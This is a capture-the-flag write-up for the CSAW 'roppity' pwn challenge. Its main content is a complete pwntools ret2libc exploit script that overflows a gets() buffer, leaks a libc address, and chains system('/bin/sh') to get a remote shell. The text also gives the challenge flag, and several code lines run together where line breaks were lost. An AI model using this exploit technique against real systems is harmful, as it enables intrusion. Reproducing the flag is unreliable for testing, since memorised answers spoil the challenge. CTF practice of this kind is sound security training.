# roppity
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Python- Pwntools
# Source
- [roppity](./roppity)
```Welcome to pwn!
nc pwn.chal.csaw.io 5016```
# Exploitation
This is a ret2libc challenge, where you have to overflow the stack using the `gets` function. Here's a script to do the same.
```pyfrom pwn import *
elf = ELF('./rop')rop = ROP(elf)
local = False
host = 'pwn.chal.csaw.io'port = 5016
if local:    p = elf.process()    libc = ELF('/usr/lib/libc.so.6')else:    p = remote(host, port)    libc = ELF('./libc-2.27.so')
PUTS_PLT = elf.plt['puts']MAIN_PLT = elf.symbols['main']
# Same as ROPgadget --binary ./rop | grep "pop rdi"POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]RET = rop.find_gadget(['ret'])[0]
OFFSET = b'A' * (0x20 + 0x8)
log.info("puts@plt: " + hex(PUTS_PLT))log.info('main@plt: ' + hex(MAIN_PLT))log.info("pop rdi; ret; gadget: " + hex(POP_RDI))
def get_addr(func_name):    FUNC_GOT = elf.got[func_name] log.info(func_name + ' GOT @ ' + hex(FUNC_GOT))
    rop_chain = [        POP_RDI, FUNC_GOT,        PUTS_PLT,        MAIN_PLT,    ]
    rop_chain = b''.join([p64(i) for i in rop_chain])    payload = OFFSET + rop_chain
    print(p.clean())    print(payload)
    p.sendline(payload)
    received = p.recvline().strip()    leak = u64(received.ljust(8, b'\x00'))    libc.address = leak - libc.symbols[func_name]    return hex(leak)
log.info('Leaked address: ' + get_addr('__libc_start_main'))log.info('Libc base: ' + hex(libc.address))
BIN_SH = next(libc.search(b'/bin/sh\x00'))SYSTEM = libc.symbols['system']EXIT = libc.symbols['exit']
log.info('/bin/sh: ' + hex(BIN_SH))log.info('system: ' + hex(SYSTEM))log.info('exit: ' + hex(EXIT))
ROP_CHAIN = [    RET,    POP_RDI, BIN_SH,    SYSTEM,    EXIT,]
ROP_CHAIN = b''.join([p64(i) for i in ROP_CHAIN])
payload = OFFSET + ROP_CHAIN
print(p.clean())print(payload)
p.sendline(payload)
p.interactive()```
First, you leak the address of the `__libc_start_main` function (or `puts` for that matter). Using that address, you calculate the base address of on the server. With the help of this libc address, you can find `/bin/sh`, `system` and `exit` and place them strategically on the stack to execute a ROP chain.
After the script runs, it gives you a shell on the server. Use `cat flag.txt` to view the flag.
The flag is:
```flag{r0p_4ft3r_r0p_4ft3R_r0p}```